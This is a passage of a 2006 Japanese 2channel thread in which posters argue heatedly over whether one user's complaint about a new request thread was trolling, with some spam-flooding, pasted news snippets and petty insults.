この板から出て行くまでは、お前のハンドルから、極東 という文字をはずせ。

602 :日出づる処の名無し:2006/05/07(日) 21:51:27 ID:McDUgKCI
>>598
・・・あんまり、日の丸スレで君を見かけたことはないんだが・・・
6でも、
「前スレ消化しろよー」しか書いてないのと違うか?

603 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 21:53:30 ID:0QXKIK36
>>601
はいはい。根拠ないんだろ?
だったらそうやってはじめから言ったら?w

>>602
わし極東板自称自治厨なもんでw

604 :日出づる処の名無し:2006/05/07(日) 21:57:29 ID:McDUgKCI
>>601
「場違いな書き込み」の説明して、
少なくとも、俺にはスレ立てに対する抗議文だとおもうよ。

ちなみに、僕が見るとスレ立ての住人の協調性が足りない ことも 原因だと思う。
ただ、「512kオーバーしてるんだよ。」と書けばいいのに
いきなり、「馬鹿」扱いです。


605 :1 ◆85KgNR48dA :2006/05/07(日) 22:02:48 ID:1z4+jDHh
>>604
お前、何が言いたいの?
何か、お前の日本語おかしいな。

606 :日出づる処の名無し:2006/05/07(日) 22:03:20 ID:McDUgKCI
>>600
いや、 >>599でコピペしたとおり、

「相変わらず」とあったので。
知り合ってだいぶ立つのかと・・・

607 :日出づる処の名無し:2006/05/07(日) 22:04:33 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

608 :日出づる処の名無し:2006/05/07(日) 22:05:05 ID:9KZ13qqT
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
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欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝鬱欝欝鬱欝欝欝鬱鬱鬱欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱鬱欝欝欝鬱欝欝欝鬱鬱鬱鬱欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝鬱欝鬱欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝鬱欝欝欝欝欝欝欝鬱欝欝欝欝欝
欝欝欝欝欝鬱欝欝欝欝欝欝欝欝欝欝欝鬱鬱鬱鬱鬱鬱鬱鬱欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝
欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝欝

609 :日出づる処の名無し:2006/05/07(日) 22:05:08 ID:GkimXvgc
船虫は前から日本語がうまくなかったね
しかも独自解釈しちゃうから困ったもんだw

610 :日出づる処の名無し:2006/05/07(日) 22:08:26 ID:McDUgKCI
>>605
ああ、点か。

>>601
「場違いな書き込み」の説明して。

少なくとも俺には、スレ立てに対する抗議文だとおもう。

ちなみに、俺が見ると
「スレッドを立てられない奴はここへ書け!271」
にいる人の協調性が足りない ことも 原因だと思う。
ただ、「512kオーバーしてるんだよ。」と書けばいいのに
いきなり、「馬鹿」扱いです。

まだ、わからなかったらいうてくれ。

611 :日出づる処の名無し:2006/05/07(日) 22:12:28 ID:9KZ13qqT
同期の桜@極東みたいなむせきにんな人が中途半端に相手するから海ゴキブリみたいなのがのさばるんですよ(゚∀゚ )
迷惑こうむるこっちのみにもなってください(゚∀゚ )

612 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 22:14:23 ID:0QXKIK36
>>611
おまいコピペしてるだけやんけw

613 :日出づる処の名無し:2006/05/07(日) 22:15:25 ID:McDUgKCI
>>611
いやいや、変なコピペしてる君が指摘してもなぁ・・・
せてめ、ID変えてからいわないと

614 :日出づる処の名無し:2006/05/07(日) 22:15:26 ID:gfX74EbV
まあルール偏向で一気に叩き潰そうや
こういう懲りない荒らしは

615 :1 ◆85KgNR48dA :2006/05/07(日) 22:15:35 ID:1z4+jDHh
>>610
> >>605
> ああ、点か。

???意味不明

> >>601
> 「場違いな書き込み」の説明して。

???意味不明

> 少なくとも俺には、スレ立てに対する抗議文だとおもう。

何のこと?

> ちなみに、俺が見ると
> 「スレッドを立てられない奴はここへ書け!271」
> にいる人の協調性が足りない ことも 原因だと思う。

???意味不明
どういったことに対する原因?

> ただ、「512kオーバーしてるんだよ。」と書けばいいのに

どういった状態で、どこに?

> いきなり、「馬鹿」扱いです。

誰が誰に対して、どこで?

616 :日出づる処の名無し:2006/05/07(日) 22:15:51 ID:McDUgKCI
1分遅かった orz

617 :日出づる処の名無し:2006/05/07(日) 22:16:16 ID:gfX74EbV
ルール変更か

618 :日出づる処の名無し:2006/05/07(日) 22:17:50 ID:McDUgKCI
>>615
・・・中身変わったの?

619 :日出づる処の名無し:2006/05/07(日) 22:20:59 ID:GkimXvgc
トリップを船虫とその弟子とで共用してるんじゃないか

620 :日出づる処の名無し:2006/05/07(日) 22:29:31 ID:McDUgKCI
>>615

スレッドを立てられない奴はここへ書け!271
http://etc3.2ch.net/test/read.cgi/qa/1145264116/749
ほんでもって、同期の桜の
http://etc3.2ch.net/test/read.cgi/qa/1145264116/752
それに対して一番初めのレスが、
http://etc3.2ch.net/test/read.cgi/qa/1145264116/754

だから、協調性がないと言ってる。
さらにいうならば、749を読んでいないことに対する批判はまだ存在してません。

思いだしていただけました?

そして、私は同期の桜の未読であることの非はあると思うが
あくまでも、抗議文であると思っている。
だから、「場違いな書き込み」の説明をしてください。

621 :日出づる処の名無し:2006/05/07(日) 22:33:01 ID:gfX74EbV
そもそもどういう理由があれ向こうが一方的に荒らしスレ立てた以上
逆襲はありえる話なんだよ

その前提が通じないのは>>1だけだ

622 :日出づる処の名無し:2006/05/07(日) 22:38:36 ID:gfX74EbV
http://gedo-style.net/g/?v=181442&n=1&d=d.jpg

623 :1 ◆85KgNR48dA :2006/05/07(日) 22:41:43 ID:1z4+jDHh
>>620
(1)> スレッドを立てられない奴はここへ書け!271
> http://etc3.2ch.net/test/read.cgi/qa/1145264116/749
749 名前:1 ◆85KgNR48dA [age] 投稿日:2006/05/07(日) 12:03:19 0
以下ののメッセージが出て、前スレが書き込み不可能になましたので、
よろしくお願いいたします。
ERROR!
ERROR:このスレッドは512kを超えているので書けません!

(2)> ほんでもって、同期の桜の
> http://etc3.2ch.net/test/read.cgi/qa/1145264116/752
752 名前:同期の桜@極東 ◆DoukiJieKQ [] 投稿日:2006/05/07(日) 12:15:57 0
>>750-751
前スレも前々スレも消化しきってない状態で立ててんじゃねーよ。
ちったー確認くらいしろや。機械じゃあるめーし。

(3)> それに対して一番初めのレスが、
> http://etc3.2ch.net/test/read.cgi/qa/1145264116/754
754 名前:ひよこ名無しさん[] 投稿日:2006/05/07(日) 12:24:32 0
>>752
馬鹿?

624 :1 ◆85KgNR48dA :2006/05/07(日) 22:42:24 ID:1z4+jDHh
>>623の解説

(1)で、前スレが書き込み不可能だという説明をしているにも関わらず、
(2)で、同期の桜@極東 ◆DoukiJieKQのバカ垂れが、
【前スレも前々スレも消化しきってない状態で立ててんじゃねーよ】
と、(1)の書き込みも理解せずに書き込み、
同(2)で、【ちったー確認くらいしろや。機械じゃあるめーし】
と、(1)以外の、当該板住人にも悪態を垂れたということ。
よって、(3)で、当該板住人に【馬鹿?】と尋ねられ、あるいは、
当該板住人が【馬鹿?】と、同期の桜に対し、腹を立てたのだろう。

【結論】
同期の桜は、

【あ】(1)の書き込みも理解せずに書き込んだという、読解力のなさ。

【い】荒らし行為、よく言うと、異議申し立てかな?スレ違い発言。

【う】当該板住人にも悪態を垂れた。

ということ。


625 :1 ◆85KgNR48dA :2006/05/07(日) 22:44:15 ID:1z4+jDHh
>>610は、>>623-624のことを言いたかったのかな?
ちゃんとした日本語を書こうよ。


626 :日出づる処の名無し:2006/05/07(日) 22:45:51 ID:gfX74EbV


623 NGワードあぼ〜ん NGワードあぼ〜ん NGワードあぼ〜ん
NGワードあぼ〜ん


624 NGワードあぼ〜ん NGワードあぼ〜ん NGワードあぼ〜ん
NGワードあぼ〜ん


625 NGワードあぼ〜ん NGワードあぼ〜ん NGワードあぼ〜ん
NGワードあぼ〜ん


627 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 22:59:24 ID:A3daR72V
>>624
んで、おまいの荒らし認定だろ。そこ省くなよwついでに根拠よこせ。
根拠もないのに荒らし認定してんだろ?

前々スレが消費されきってない状況で次々スレが立てば
重複状態を起こしていることは明白。(スレ主が前々スレを埋める気がないわけだし)
わざわざガイドライン違反状態を起こしているというんであれば
それは当該板住人としてスレを立ててる板の住人に対して抗議しに行くだろうが。

勝手に結論出してんじゃねーよw
>【あ】(1)の書き込みも理解せずに書き込んだという、読解力のなさ。
前々スレが消化しきってない状態をどうにかする気のない
スレ立てについて読解力がないなんていわれたくないねぇw

>【い】荒らし行為、よく言うと、異議申し立てかな?スレ違い発言。
異議申し立てが荒らしかよw大体その時点で極東板の荒らしで
前スレも前々スレもこいつに潰されたとか明らかな嘘をほざいてたのはどこのどなたでしたっけ?

>【う】当該板住人にも悪態を垂れた。
はぁ?抗議することが悪態なのか?そいつは知らなかったねぇ。
おまい、メールで悪態ついてんのかぁ。そうかそうか。それは知らなかった。

628 :1 ◆85KgNR48dA :2006/05/07(日) 23:03:30 ID:1z4+jDHh
>>627
はいはい、悪足掻きはもういいから、さっさと詫び入れて来い!

当該板でお前が謝罪すれば、お前の言い分も聞いてあげよう。
【場違いな書き込みをひとつした】と、おまえ自身が認めている以上、
謝罪と削除依頼が当然だろう。逃げるなよ。お前のした行動だ。
【場違いな書き込みをした】ことで、多くの掲示板閲覧者が迷惑をしている。
残存している限り、現在もそう。

(1)初心者の質問板に行って、速やかに謝罪文を書いてこい!
(2)そして、削除依頼板で、削除依頼を書いてこい!荒らし野郎。
(3)俺様が教師ではないことを示すレスがある。
お前は即レスする暇があるようだから、
もう一回帰って、全レスを確認してみろ。

それまでは、俺様にレスはするな。命令だ。
お前が言い出したんだからな。わかってるな。

【場違いな書き込みをした】お前が俺様に、偉そうな口を聞く資格はない。
この問題が解決した後には、俺には関わるな、レスするな。

この板から出て行くまでは、お前のハンドルから、極東 という文字をはずせ。

629 :船虫Jr ◆.Tg2yBtH66 :2006/05/07(日) 23:05:01 ID:9Kj1pIBK
1、荒らし認定

・950オーバーと512kオーバーで三つのスレが同時に存在(ほとんどの者は512kオーバーを認知してない)
・同期の桜@極東:http://etc3.2ch.net/test/read.cgi/qa/1145264116/752 スレ立てが不当だと主張。
・1 ◆85KgNR48dA 「桜は荒らしだ」←これは2chの語法ではない。
・同期の桜@極東「荒らしてない」←いわゆる2ch用語で言う「荒らし行為」と言ってると早とちり。

言葉は2chのものではないので、2chに則して使用する必要はないが、
2chにおいては「荒らし」という言葉で、ここの荒らし君みたいなのをイメージする読者が多い。
それゆえ、1 ◆85KgNR48dA の荒らし発言は誤解の原因になり、不適切である。
が、言ってる内容はそれほど間違ってはいない。
つまり、スレ立て要請に不当性はまったくない。950オーバーあるいは512kオーバーで
次スレを立てるのはまったく当たり前のこと。削除要請板(整理板じゃない)にも同じ要請があるが、
http://qb5.2ch.net/test/read.cgi/saku2ch/1033410844/107
これは却下されるだろう。
おそらく、512kオーバーであることを確認せずに、不当だと言ってたのだろうが、
このことによって、スレ立てに支障が出るのは明か。
もっとも、スレ自体に異議が出されているが、それとこれとは別。

2、教員の件(>>493 )。
・ハッキリ言って根拠のない決めつけ。
・2chでは、まったくいい加減にされてるいが、このような当てつけはプラ侵にあたる。
(具体性・断定性等、http://www.jiten.com/dicmi/docs/k24/20705.htm
・原状回復(プラ侵からの回復)のためには、言った当人が決めつけだと認めるのが適切。

1、荒らし認定に関してはどちらにも非がある(もういいだろ?)。
2、教員の件に関しては、根拠のない決めつけだと認めたら?
 (反対のことをするな。>>502>>493 の根拠にならない←にもかかわらず根拠だと言い張るのがプラ侵なんだぞ?)

630 :同期の桜@極東 ◆DoukiJieKQ :2006/05/07(日) 23:05:52 ID:A3daR72V
>>628
だからーさっさと荒らしだっつー根拠をよこせって。
ついでに前スレと前々スレがわしに潰されたって証拠もよこせw

いつになったら出てくるのかなー
楽しみだなぁ。

631 :日出づる処の名無し:2006/05/07(日) 23:12:25 ID:gfX74EbV
東京地方裁判所(宇田川基裁判長)は2003年11月28日に、インターネットサービス「ソネット」を
運営するソニーコミュニケーションネットワークに対し、掲示板に誹謗中傷する書き込みを行った
発信者の住所、氏名などの開示を命じた。法務省は、電子メールがいつ、どこから、だれに対して
送受信されたかを示す通信履歴(ログ)を、最長で90日間保存するようにプロバイダ側へ要請できる
捜査手続きを新設する刑事訴訟法改正案を2004年の国会に提出する方針が明らかになり、法案
が成立すれば、捜査機関は裁判所の令状なしに、メールの送信元、送信先、通信日時などを特定
した上で、電子データを蓄積するサーバーを管理するプロバイダーや大学、企業などに最長で90日
間保存するよう要請できるようになるが、憲法で守られた「通信の秘密」にかかわる通信履歴を令状
なしに保全させることから手続きの新設には慎重論も出ている。イギリスのFSA(Financial ServicesAuthority/金融サービス機構)は2004年11月11日に、18機関で調査した結果、犯罪組織が
なりすましなどの金銭犯罪や情報盗難を目的にして金融機関に関係者を潜入させ、インスタント
メッセージやPDA、USBペン、携帯電話などが悪用される恐れもあると、報告書「Countering
Financial Crime Risks in Information Security Financial Crime Sector Report」を公開した。
詳細情報はURL(http://www.fsa.gov.uk/pubs/press/2004/095.html)で知ることができる。

・2chでは、まったくいい加減にされてるいが、このような当てつけはプラ侵にあたる。
(具体性・断定性等、http://www.jiten.com/dicmi/docs/k24/20705.htm

のサイト内のリンクを見ても何も日本の例がないのだが
何がしたいんだお前


632 :1 ◆85KgNR48dA :2006/05/07(日) 23:14:36 ID:1z4+jDHh
>>627
> 前々スレが消費されきってない状況で次々スレが立てば
> 重複状態を起こしていることは明白。

お前発言はこれ
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
前スレも前々スレも消化しきってない状態で立ててんじゃねーよ。

>>624の(1)により、前スレが消化しきっているのは明らか。
よって、お前の発言は虚偽。読解力の欠如。
通常、前々スレまでは確認しない。
前々スレも放置していれば勝手に落ちる。

> (スレ主が前々スレを埋める気がないわけだし)

だから、スレ主がスレを埋める義務が、この2ちゃんねるに
あるのかを、何度もお前に聞いているだろ?
早く答えろよ。さっさと。

> わざわざガイドライン違反状態を起こしているというんであれば

それ以前にに、おまえ自身が、ガイドライン違反して書き込む行為こそが問題。

> それは当該板住人としてスレを立ててる板の住人に対して抗議しに行くだろうが。

だから、当該スレでの抗議行動は、場違いだって言ってるの。
まだ分からんか?バカ垂れが。


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